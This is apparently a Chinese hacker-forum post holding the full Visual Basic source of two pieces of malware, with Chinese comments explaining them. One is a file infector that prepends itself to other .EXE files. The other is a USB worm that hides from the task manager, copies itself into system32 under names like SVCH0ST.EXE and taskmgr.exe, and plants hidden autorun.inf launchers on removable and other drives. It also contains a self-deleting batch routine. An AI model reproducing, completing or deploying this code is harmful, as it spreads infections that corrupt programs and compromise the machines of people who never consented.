黑色海岸线论坛 - Powered by Discuz! Board

Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理
'原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码
Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）
While Victim <> ""
If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件（不是圈套）
End If
End If
'读出准备被感染的文件的代码
Victim = Dir() 'Next
Wend
'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1
Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror: '出错处理，空着就可以了
.........................................................................................................................................
' 为了让本程序更简单!
' 我没有用到API
' 全部使用VB自带函数来完成!
'原理:
' 每个电脑上都有一个硬盘和一个光驱或者有N个分驱
' 这些分驱相对来说，不会经常消失！
' 只有U盘或MP3接上后会多出一个，当拿走时会减少一个！
' 所以，在程序运行时，先备份电脑上当前的驱动器数量！
' 当发现加或减时就能确定是不是移动设备！
' 正进行传播，因为题目要求，只传播U盘，加上自动运行文件！
' 就不用改写里面的文件！
' 要是没有看懂我的程序前，请不要运行！死了别怪我！
'----------------代码--------------------------
Dim num, nums '驱动器数
Dim i As Integer '文件号
Dim j As Integer 'FOR用的变量!
Private Sub Form_Load() '程序初始化！
'不准重复运行本病毒！
If App.PrevInstance Then
End
End If
'在任务管理器中隐身！
App.TaskVisible = False
'病毒自我保护函数
a0
auts
'得到当前驱动器数！
a2
'设置时间：为5000 MS 检查一次(5秒)
t1.Interval = 5000
t1.Enabled = True
End Sub
Sub a0() '病毒自我保护函数
Dim temp As String
Dim temp2 As String
On Error Resume Next
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
'得到系统目录！得到后，自我复制到SYSTEM32下！
For j = 0 To aa.ListCount - 1
temp2 = Trim(aa.List(j)) & "\windows"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
temp2 = Trim(aa.List(j)) & "\WINNT"
If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
GoTo zz1
Else
FileCopy temp, Trim(aa.List(j)) & "\winnt\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\dllcache\taskmgr.exe"
End If
Else
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\SVCH0ST.EXE"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "\windows\system32\dllcache\taskmgr.exe"
FileCopy temp, Trim(aa.List(j)) & "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
End If
zz1:
Next
End Sub
Sub a1() '感染函数
Dim temp As String
Dim temp2 As String
temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
For j = nums + 1 To num
temp2 = Trim(aa.List(j)) & "\auto.exe"
FileCopy temp, temp2
i = FreeFile
Open Trim(aa.List(j)) & "\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=auto.exe"
Close #i
SetAttr Trim(aa.List(j)) & "\autorun.inf", vbHidden
SetAttr Trim(aa.List(j)) & "\auto.exe", vbHidden
Next
End Sub
Sub a2() '得到当前驱动器数！
num = aa.ListCount - 1
If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End Sub
Private Sub t1_Timer() '时间函数
num = aa.ListCount - 1
i = FreeFile
Open "c:\.a" For Input As #i
Line Input #i, nums
Close #i
nums = Trim(nums)
nums = Int(nums)
If num <> nums Then
If num > nums Then
a1
End If
If num < nums Then
i = FreeFile
Open "c:\.a" For Output As #i
Print #i, num
Close #i
End If
End If
aa.Refresh
End Sub
Sub bat() '写自我删除程序
On Error Resume Next
i = FreeFile
Open App.Path & "\killme.bat" For Output As #i
Print #i, "@echo off"
Print #i, "sleep 1000"
Print #i, "del " & App.EXEName + ".exe"
Print #i, "del killme.bat"
Print #i, "cls"
Print #i, "exit"
Close #i
Shell App.Path & "\killme.bat", vbHide
End
End Sub
Sub auts() '自我感染全驱动器
On Error GoTo err1
Dim file_temp As String
i = FreeFile
Open "c:\autorun.inf" For Output As #i
Print #i, "[Autorun]"
Print #i, "open=autorun.exe"
Close #i
file_temp = Trim(App.Path & "\" & App.EXEName & ".exe")
FileCopy file_temp, "c:\autorun.exe"
SetAttr "c:\autorun.inf", vbHidden
SetAttr "c:\autorun.exe", vbHidden
Dim dirid As Integer
For dirid = 100 To 122
MsgBox Chr(dirid)
FileCopy "c:\autorun.exe", Chr(dirid) & ":\autorun.exe"
FileCopy "c:\autorun.inf", Chr(dirid) & ":\autorun.inf"
SetAttr Chr(dirid) & ":\autorun.inf", vbHidden
SetAttr Chr(dirid) & " :\autorun.exe", vbHidden
Next
err1:
End Sub

复制代码